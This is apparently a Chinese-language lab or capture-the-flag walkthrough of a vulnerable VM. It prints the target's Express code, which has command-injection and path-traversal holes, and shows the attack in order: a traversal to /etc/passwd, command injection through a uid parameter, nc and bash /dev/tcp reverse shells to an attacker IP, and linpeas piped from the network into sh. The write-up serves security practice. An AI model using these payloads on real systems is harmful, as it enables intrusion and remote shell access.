class="attr">filename</span>: <span class="keyword">function</span> (<span class="params">req, file, callback</span>) &#123;</span><br><span class="line">    <span class="title function_">callback</span>(<span class="literal">null</span>, file.<span class="property">originalname</span>);</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> upload = <span class="title function_">multer</span>(&#123; <span class="attr">storage</span>: storage &#125;).<span class="title function_">single</span>(<span class="string">&quot;userFile&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> app = <span class="title function_">express</span>();</span><br><span class="line">app.<span class="title function_">set</span>(<span class="string">&quot;view engine&quot;</span>, <span class="string">&quot;ejs&quot;</span>);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  res.<span class="title function_">render</span>(<span class="string">&quot;home&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/ping/:ip&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  ip = req.<span class="property">params</span>.<span class="property">ip</span>;</span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_">ipRegex</span>(&#123; <span class="attr">exact</span>: <span class="literal">true</span> &#125;).<span class="title function_">test</span>(ip)) &#123;</span><br><span class="line">    <span class="title function_">exec</span>(<span class="string">&quot;ping -c 3 &quot;</span>.<span class="title function_">concat</span>(ip), <span class="function">(<span class="params">error, stdout, stderr</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (error) &#123;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (stderr) &#123;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">      res.<span class="title function_">send</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="string">&quot;This is not an IP&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/portscan/:ip&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  ip = req.<span class="property">params</span>.<span class="property">ip</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_">ipRegex</span>(&#123; <span class="attr">exact</span>: <span class="literal">true</span> &#125;).<span class="title function_">test</span>(ip)) &#123;</span><br><span class="line">    <span class="title function_">exec</span>(</span><br><span class="line">      <span class="string">&quot;nmap -p 21,22,443,80,8080 -T4 &quot;</span>.<span class="title function_">concat</span>(ip),</span><br><span class="line">      <span class="function">(<span class="params">error, stdout, stderr</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (error) &#123;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (stderr) &#123;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">        res.<span class="title function_">send</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    );</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="string">&quot;This is not an IP&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/whois/:ip&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  ip = req.<span class="property">params</span>.<span class="property">ip</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_">ipRegex</span>(&#123; <span class="attr">exact</span>: <span class="literal">true</span> &#125;).<span class="title function_">test</span>(ip)) &#123;</span><br><span class="line">    whois</span><br><span class="line">      .<span class="title function_">whois</span>(ip)</span><br><span class="line">      .<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>) =&gt;</span> res.<span class="title function_">send</span>(data))</span><br><span class="line">      .<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(err));</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="string">&quot;This is not an IP&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/base64/decode/:data&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  data = req.<span class="property">params</span>.<span class="property">data</span>;</span><br><span class="line">  base64decoded = <span class="title function_">base64decode</span>(data);</span><br><span class="line">  res.<span class="title function_">send</span>(base64decoded);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/base64/encode/:data&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  data = req.<span class="property">params</span>.<span class="property">data</span>;</span><br><span class="line">  base64encoded = <span class="title function_">base64encode</span>(data);</span><br><span class="line">  res.<span class="title function_">send</span>(base64encoded);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/generate-password&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">var</span> password = generator.<span class="title function_">generate</span>(&#123;</span><br><span class="line">    <span class="attr">length</span>: <span class="number">18</span>,</span><br><span class="line">    <span class="attr">numbers</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="attr">symbols</span>: <span class="literal">true</span>,</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  res.<span class="title function_">send</span>(password);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/uploads/:filename&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  finalPath = __dirname.<span class="title function_">concat</span>(<span class="string">&quot;/uploads/&quot;</span>).<span class="title function_">concat</span>(req.<span class="property">params</span>.<span class="property">filename</span>);</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(finalPath);</span><br><span class="line">  fs.<span class="title function_">readFile</span>(finalPath, <span class="string">&quot;utf8&quot;</span>, <span class="function">(<span class="params">err, data</span>) =&gt;</span> &#123;</span><br><span class="line">    res.<span class="title function_">end</span>(data);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">post</span>(<span class="string">&quot;/file&quot;</span>, <span class="keyword">function</span> (<span class="params">req, res</span>) &#123;</span><br><span class="line">  <span class="title function_">upload</span>(req, res, <span class="keyword">function</span> (<span class="params">err</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (req.<span class="property">fileValidationError</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">send</span>(req.<span class="property">fileValidationError</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!req.<span class="property">file</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">send</span>(<span class="string">&quot;Please select a file to upload&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (err <span class="keyword">instanceof</span> multer.<span class="property">MulterError</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">send</span>(err);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">send</span>(err);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">exec</span>(</span><br><span class="line">      <span class="string">&quot;md5sum &quot;</span>.<span class="title function_">concat</span>(__dirname).<span class="title function_">concat</span>(<span class="string">&quot;/uploads/&quot;</span>).<span class="title function_">concat</span>(req.<span class="property">file</span>.<span class="property">filename</span>),</span><br><span class="line">      <span class="function">(<span class="params">error, stdout, stderr</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">        res.<span class="title function_">end</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    );</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/internal-processes-v1-display&quot;</span>, <span class="keyword">function</span> (<span class="params">req, res</span>) &#123;</span><br><span class="line">  uid = req.<span class="property">query</span>.<span class="property">uid</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(uid);</span><br><span class="line">  <span class="title function_">exec</span>(<span class="string">&quot;ps aux | grep &quot;</span>.<span class="title function_">concat</span>(uid), <span class="function">(<span class="params">error, stdout, stderr</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span>`</span>);</span><br><span class="line">    res.<span class="title function_">end</span>(<span class="string">`stdout: <span class="subst">$&#123;stdout&#125;</span> :: <span class="subst">$&#123;uid&#125;</span>`</span>);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">listen</span>(<span class="number">4000</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;listening to port 4000&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>再看看 &#x2F;etc&#x2F;passwd<br><code>curl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd</code></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">root:x:0:0:root:/root:/bin/bash</span><br><span class="line">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span><br><span class="line">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span><br><span class="line">sys:x:3:3:sys:/dev:/usr/sbin/nologin</span><br><span class="line"><span class="built_in">sync</span>:x:4:65534:<span class="built_in">sync</span>:/bin:/bin/sync</span><br><span class="line">games:x:5:60:games:/usr/games:/usr/sbin/nologin</span><br><span class="line">man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</span><br><span class="line">lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</span><br><span class="line">mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</span><br><span class="line">news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</span><br><span class="line">uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</span><br><span class="line">proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</span><br><span class="line">www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin</span><br><span class="line">backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</span><br><span class="line">list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</span><br><span class="line">irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin</span><br><span class="line">gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</span><br><span class="line">nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</span><br><span class="line">_apt:x:100:65534::/nonexistent:/usr/sbin/nologin</span><br><span class="line">systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin</span><br><span class="line">systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin</span><br><span class="line">systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin</span><br><span class="line">messagebus:x:104:110::/nonexistent:/usr/sbin/nologin</span><br><span class="line">avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin</span><br><span class="line">sshd:x:106:65534::/run/sshd:/usr/sbin/nologin</span><br><span class="line">it404:x:1000:1000:it404,,,:/home/it404:/bin/bash</span><br><span class="line">systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin</span><br><span class="line">Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin`</span><br></pre></td></tr></table></figure>
<p>看到了一个 it404 用户，我们可以尝试读取一下他的 home 目录下的文件。</p>
<p><code>curl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fhome%2fit404%2fuser.txt</code><br>返回了空，不知道是没有文件，还是我们没有权限读取。</p>
<p>此时注意到 app.js 里有一个 <code>/internal-processes-v1-display</code> 的路由，可以显示进程信息。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ curl http://<span class="variable">$IP</span>:4000/internal-processes-v1-display</span><br><span class="line">stdout: www-data    1413  0.0  0.0   2420   520 ?        S    23:02   0:00 /bin/sh -c ps aux | grep undefined</span><br><span class="line">www-data    1415  0.0  0.0   6180   652 ?        S    23:02   0:00 grep undefined</span><br><span class="line"> :: undefined                                                                                                                                                                                                                      </span><br><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ curl http://<span class="variable">$IP</span>:4000/internal-processes-v1-display?uid=it404</span><br><span class="line">stdout: it404        344  0.0  0.1   6756  3056 ?        Ss   20:38   0:00 /bin/bash /opt/api/start-internal.sh</span><br><span class="line">it404        362  0.0  1.3  42228 28368 ?        S    20:38   0:03 python3 internal-api.py</span><br><span class="line">www-data    1416  0.0  0.0   2420   572 ?        S    23:02   0:00 /bin/sh -c ps aux | grep it404</span><br><span class="line">www-data    1418  0.0  0.0   6180   708 ?        S    23:02   0:00 grep it404</span><br><span class="line"> :: it404                                                                                                                                                                                                                      </span><br><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ curl http://<span class="variable">$IP</span>:4000/internal-processes-v1-display?uid=root</span><br><span class="line">stdout: root           1  0.0  0.4  98164 10052 ?        Ss   20:38   0:01 /sbin/init</span><br><span class="line">root           2  0.0  0.0      0     0 ?        S    20:38   0:00 [kthreadd]</span><br><span class="line">root           3  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [rcu_gp]</span><br><span class="line">root           4  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [rcu_par_gp]</span><br><span class="line">root           6  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kworker/0:0H-events_highpri]</span><br><span class="line">root           9  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [mm_percpu_wq]</span><br><span class="line">root          10  0.0  0.0      0     0 ?        S    20:38   0:00 [rcu_tasks_rude_]</span><br><span class="line">root          11  0.0  0.0      0     0 ?        S    20:38   0:00 [rcu_tasks_trace]</span><br><span class="line">root          12  0.0  0.0      0     0 ?        S    20:38   0:08 [ksoftirqd/0]</span><br><span class="line">root          13  0.0  0.0      0     0 ?        I    20:38   0:01 [rcu_sched]</span><br><span class="line">root          14  0.0  0.0      0     0 ?        S    20:38   0:00 [migration/0]</span><br><span class="line">root          15  0.0  0.0      0     0 ?        S    20:38   0:00 [cpuhp/0]</span><br><span class="line">root          17  0.0  0.0      0     0 ?        S    20:38   0:00 [kdevtmpfs]</span><br><span class="line">root          18  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [netns]</span><br><span class="line">root          19  0.0  0.0      0     0 ?        S    20:38   0:00 [kauditd]</span><br><span class="line">root          20  0.0  0.0      0     0 ?        S    20:38   0:00 [khungtaskd]</span><br><span class="line">root          21  0.0  0.0      0     0 ?        S    20:38   0:00 [oom_reaper]</span><br><span class="line">root          22  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [writeback]</span><br><span class="line">root          23  0.0  0.0      0     0 ?        S    20:38   0:00 [kcompactd0]</span><br><span class="line">root          24  0.0  0.0      0     0 ?        SN   20:38   0:00 [ksmd]</span><br><span class="line">root          25  0.0  0.0      0     0 ?        SN   20:38   0:00 [khugepaged]</span><br><span class="line">root          43  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kintegrityd]</span><br><span class="line">root          44  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kblockd]</span><br><span class="line">root          45  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [blkcg_punt_bio]</span><br><span class="line">root          46  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [edac-poller]</span><br><span class="line">root          47  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [devfreq_wq]</span><br><span class="line">root          48  0.0  0.0      0     0 ?        I&lt;   20:38   0:01 [kworker/0:1H-kblockd]</span><br><span class="line">root          51  0.0  0.0      0     0 ?        S    20:38   0:00 [kswapd0]</span><br><span class="line">root          52  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kthrotld]</span><br><span class="line">root          53  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [acpi_thermal_pm]</span><br><span class="line">root          54  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [ipv6_addrconf]</span><br><span class="line">root          64  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kstrp]</span><br><span class="line">root          67  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [zswap-shrink]</span><br><span class="line">root          68  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [kworker/u3:0]</span><br><span class="line">root         110  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [ata_sff]</span><br><span class="line">root         111  0.0  0.0      0     0 ?        S    20:38   0:00 [scsi_eh_0]</span><br><span class="line">root         112  0.0  0.0      0     0 ?        S    20:38   0:00 [scsi_eh_1]</span><br><span class="line">root         113  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [scsi_tmf_0]</span><br><span class="line">root         114  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [scsi_tmf_1]</span><br><span class="line">root         115  0.0  0.0      0     0 ?        S    20:38   0:00 [scsi_eh_2]</span><br><span class="line">root         116  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [scsi_tmf_2]</span><br><span class="line">root         153  0.0  0.0      0     0 ?        S    20:38   0:00 [jbd2/sda1-8]</span><br><span class="line">root         154  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [ext4-rsv-conver]</span><br><span class="line">root         190  0.0  0.7  48344 14856 ?        Ss   20:38   0:00 /lib/systemd/systemd-journald</span><br><span class="line">root         213  0.0  0.2  21264  5028 ?        Ss   20:38   0:00 /lib/systemd/systemd-udevd</span><br><span class="line">root         254  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [cryptd]</span><br><span class="line">root         294  0.0  0.0      0     0 ?        S    20:38   0:00 [irq/18-vmwgfx]</span><br><span class="line">root         295  0.0  0.0      0     0 ?        I&lt;   20:38   0:00 [ttm_swap]</span><br><span class="line">root         296  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc0]</span><br><span class="line">root         297  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc1]</span><br><span class="line">root         299  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc2]</span><br><span class="line">root         301  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc3]</span><br><span class="line">root         303  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc4]</span><br><span class="line">root         305  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc5]</span><br><span class="line">root         308  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc6]</span><br><span class="line">root         314  0.0  0.0      0     0 ?        S    20:38   0:00 [card0-crtc7]</span><br><span class="line">root         327  0.0  0.1   6684  2896 ?        Ss   20:38   0:00 /usr/sbin/cron -f</span><br><span class="line">root         347  0.0  0.2 220740  4068 ?        Ssl  20:38   0:00 /usr/sbin/rsyslogd -n -iNONE</span><br><span class="line">root         349  0.0  0.1   6756  3244 ?        Ss   20:38   0:00 /bin/bash /root/.s/starts.sh</span><br><span class="line">root         352  0.0  0.2  99824  5944 ?        Ssl  20:38   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -<span class="built_in">df</span> /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3</span><br><span class="line">root         355  0.0  0.2  21536  5740 ?        Ss   20:38   0:00 /lib/systemd/systemd-logind</span><br><span class="line">root         359  0.0  0.2  14560  5276 ?        Ss   20:38   0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant</span><br><span class="line">root         364  0.0  0.4  16396  9756 ?        S    20:38   0:00 python3 socket-root.py</span><br><span class="line">root         426  0.0  0.0   5784  1740 tty1     Ss+  20:38   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux</span><br><span class="line">root         485  0.0  0.3  13292  7788 ?        Ss   20:38   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups</span><br><span class="line">root         536  0.0  1.0 193948 20348 ?        Ss   20:38   0:01 /usr/sbin/apache2 -k start</span><br><span class="line">root        1394  0.0  0.0      0     0 ?        I    22:39   0:00 [kworker/u2:1-ext4-rsv-conversion]</span><br><span class="line">root        1397  0.0  0.0      0     0 ?        I    22:48   0:00 [kworker/u2:0-flush-8:0]</span><br><span class="line">root        1398  0.0  0.0      0     0 ?        I    22:49   0:00 [kworker/0:2-ata_sff]</span><br><span class="line">root        1400  0.3  0.0      0     0 ?        I    22:55   0:01 [kworker/0:0-ata_sff]</span><br><span class="line">root        1401  0.1  0.0      0     0 ?        I    23:00   0:00 [kworker/0:1-events]</span><br><span class="line">root        1412  0.0  0.0      0     0 ?        I    23:00   0:00 [kworker/u2:2-ext4-rsv-conversion]</span><br><span class="line">www-data    1419  0.0  0.0   2420   520 ?        S    23:04   0:00 /bin/sh -c ps aux | grep root</span><br><span class="line">www-data    1421  0.0  0.0   6312   716 ?        S    23:04   0:00 grep root</span><br><span class="line"> :: root  </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>既然是命令，再来试一波命令注入：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">curl  <span class="string">&quot;http://192.168.0.197:4000/internal-processes-v1-display?uid=;ls&quot;</span></span><br><span class="line"></span><br><span class="line">stdout: app.js</span><br><span class="line">node_modules</span><br><span class="line">package.json</span><br><span class="line">package-lock.json</span><br><span class="line">start.sh</span><br><span class="line">uploads</span><br><span class="line">views</span><br><span class="line"> :: ;<span class="built_in">ls</span>   </span><br></pre></td></tr></table></figure>
<p>真返回了，那直接来个反弹 shell 吧。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pwncat-cs -l -p 1234</span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">hURL -s -U <span class="string">&#x27;;/bin/bash -i &gt;&amp; /dev/tcp/192.168.0.30/1234 0&gt;&amp;1&#x27;</span></span><br><span class="line">curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果</span><br><span class="line"><span class="comment"># 发现并没有反弹回来 换下 nc 试试</span></span><br><span class="line">hURL -s -U <span class="string">&#x27;;nc -e bash 192.168.0.30 1234&#x27;</span></span><br><span class="line">curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果</span><br><span class="line">stdout:  :: ;nc 192.168.0.30 1234 -e bash </span><br></pre></td></tr></table></figure>
<p>连上就挂了。<br>问过ll104567，才知道自己用这个方法比较蠢，其实要这样就行：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl <span class="string">&#x27;http://192.168.0.197:4000/internal-processes-v1-display?uid=;nc+-e+/bin/bash+192.168.0.30+1234&#x27;</span></span><br></pre></td></tr></table></figure>
<p>一个点是不用这么复杂的 urlencode，用 +代替空格就行，然后 bash 要替换成 &#x2F;bin&#x2F;bash。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(remote) www-data@Supra:/var/www/api$ <span class="built_in">id</span></span><br><span class="line">uid=33(www-data) gid=33(www-data) <span class="built_in">groups</span>=33(www-data)</span><br></pre></td></tr></table></figure>
<p>就拿到了 www-data 的webshell。</p>
<h1 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h1><p>下载 linpeas.sh 到靶机看看</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh</span><br><span class="line"><span class="comment"># 后来保存到了 r.txt 里</span></span><br><span class="line">(remote) www-data@Supra:/tmp$ <span class="built_in">cat</span> r.txt |grep 8081 -B 3 -A 3</span><br><span class="line"></span><br><span class="line">╔══════════╣ Active Ports</span><br><span class="line">╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation<span class="comment">#open-ports</span></span><br><span class="line">tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -                   </span><br><span class="line">tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   </span><br><span class="line">tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   </span><br><span class="line">tcp6       0      0 :::80                   :::*                    LISTEN      -  </span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>跑了一遍发现了一个 127.0.0.1:8081 。 <code>curl http://127.0.0.1:8081</code> 返回了：<code>Supra Internals</code><br>那 8081 是谁在跑呢？</p>
